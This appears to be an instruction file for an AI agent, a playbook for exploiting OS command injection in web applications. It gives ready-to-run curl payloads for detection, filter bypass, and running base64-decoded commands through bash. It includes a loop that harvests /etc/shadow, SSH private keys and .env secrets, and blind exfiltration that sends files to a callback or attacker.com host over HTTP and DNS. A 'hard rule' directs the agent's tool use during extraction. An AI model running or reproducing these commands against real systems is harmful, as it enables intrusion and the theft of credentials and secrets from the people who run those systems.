| name | exploit-command-injection |
| description | OS Command Injection — exploiting applications that pass user input to OS commands without sanitization. Covers injection operators (;, |, ||, &&, $(), backticks, newline), blind detection (time-based, OOB callback), and bypass techniques (space, keyword, encoding). |
| metadata | {"subdomain":"web-exploitation","mitre_attack":"T1059","when_to_use":"command injection, os command, cmdi, rce command, shell injection, system command, exec, popen, subprocess, backtick injection, semicolon injection, pipe injection, ping command, os.system, shell=True, eval, passthru"} |
OS Command Injection
Exploits applications that pass user input to OS commands without sanitization.
Detection
curl -s 'https://<TARGET>/ping?host=127.0.0.1;id' -o cmdi_semicolon.txt
curl -s 'https://<TARGET>/ping?host=127.0.0.1|id' -o cmdi_pipe.txt
curl -s 'https://<TARGET>/ping?host=127.0.0.1$(id)' -o cmdi_subshell.txt
curl -s 'https://<TARGET>/ping?host=127.0.0.1`id`' -o cmdi_backtick.txt
curl -s 'https://<TARGET>/ping?host=127.0.0.1%0aid' -o cmdi_newline.txt
curl -s 'https://<TARGET>/ping?host=127.0.0.1;sleep+5' --max-time 10 -w '\nTime: %{time_total}s\n'
curl -s 'https://<TARGET>/ping?host=127.0.0.1;curl+http://<CALLBACK>/cmdi'
curl -s 'https://<TARGET>/ping?host=127.0.0.1;nslookup+<CALLBACK>'
Injection Operators
| Operator | Behavior | Example |
|---|
; | Sequential execution | ; id |
| | Pipe output | | id |
|| | Execute if first fails | || id |
&& | Execute if first succeeds | && id |
` | Command substitution | `id` |
$() | Command substitution | $(id) |
%0a | Newline | %0aid |
%0d%0a | CRLF | %0d%0aid |
Bypass Techniques
curl -s 'https://<TARGET>/ping?host=127.0.0.1;cat${IFS}/etc/passwd'
curl -s 'https://<TARGET>/ping?host=127.0.0.1;{cat,/etc/passwd}'
curl -s 'https://<TARGET>/ping?host=127.0.0.1;cat%09/etc/passwd'
curl -s 'https://<TARGET>/ping?host=127.0.0.1;c\at+/etc/passwd'
curl -s 'https://<TARGET>/ping?host=127.0.0.1;ca""t+/etc/passwd'
curl -s 'https://<TARGET>/ping?host=127.0.0.1;tac+/etc/passwd'
curl -s 'https://<TARGET>/ping?host=127.0.0.1;head+/etc/passwd'
curl -s "https://<TARGET>/ping?host=127.0.0.1;\$(echo+aWQ=|base64+-d|bash)"
Credential/Secret Extraction After RCE Confirmed
Once you have confirmed RCE (e.g., id or hostname output returned), run this single bash call in the NEXT step to locate sensitive files — do NOT issue separate commands per candidate path:
for f in /etc/passwd /etc/shadow /root/.ssh/id_rsa /home/*/.ssh/id_rsa \
/var/www/html/.env /app/.env /app/config.py /app/settings.py \
/opt/app/config.json /tmp/secret.txt /root/secret.txt; do
result=$(curl -s "http://<TARGET>/vuln?cmd=cat+$f" 2>/dev/null | head -5)
[ -n "$result" ] && echo "=== $f ===" && echo "$result"
done > /tmp/rce_harvest.txt
head -50 /tmp/rce_harvest.txt
curl -s "http://<TARGET>/vuln?cmd=find+/+-type+f+\(-name+'*.env'-o+-name+'config*'-o+-name+'secret*'-o+-name+'cred*'-o+-name+'token*'\)+2>/dev/null" \
-o /tmp/find_secrets.txt
head -20 /tmp/find_secrets.txt
Replace /vuln?cmd= with the confirmed injection sink. After locating sensitive files, use the appropriate operator from the Injection Operators table to read their full contents.
Hard rule: Do NOT issue individual curl calls per candidate path — use the loop above. Separate calls waste bash budget and trigger compaction before extraction completes.
Blind Exfiltration
When command output is NOT reflected in the HTTP response, use one of these techniques to extract sensitive content:
curl -s 'https://<TARGET>/ping?host=127.0.0.1;cat+/.env+>+/var/www/html/out.txt'
curl -s 'https://<TARGET>/out.txt'
curl -s 'https://<TARGET>/ping?host=127.0.0.1;curl+http://<CALLBACK>/$(cat+/.env|base64+-w0)'
curl -s 'https://<TARGET>/ping?host=127.0.0.1;wget+-q+-O-+http://<CALLBACK>/$(cat+/.env|base64+-w0)'
curl -s 'https://<TARGET>/ping?host=127.0.0.1;nslookup+$(cat+/.env|cut+-c1-50).attacker.com'
TARGET_FILE="/.env"
curl -s "https://<TARGET>/ping?host=127.0.0.1;if+[\"\$(cut+-c1+${TARGET_FILE})\"=+\"s\"];then+sleep+3;fi" \
--max-time 10 -w '\nTime: %{time_total}s\n'
for i in $(seq 1 70); do
for c in {A..Z} {a..z} {0..9} - _ '=' '"' "'"; do
t=$(curl -s -o /dev/null -w '%{time_total}' --max-time 6 \
"https://<TARGET>/ping?host=127.0.0.1;if+[+\"\$(cut+-c${i}+${TARGET_FILE})\"+==+\"${c}\"+];then+sleep+3;fi")
if (( $(echo "$t > 2.5" | bc -l) )); then printf "%s" "$c"; break; fi
done
done
echo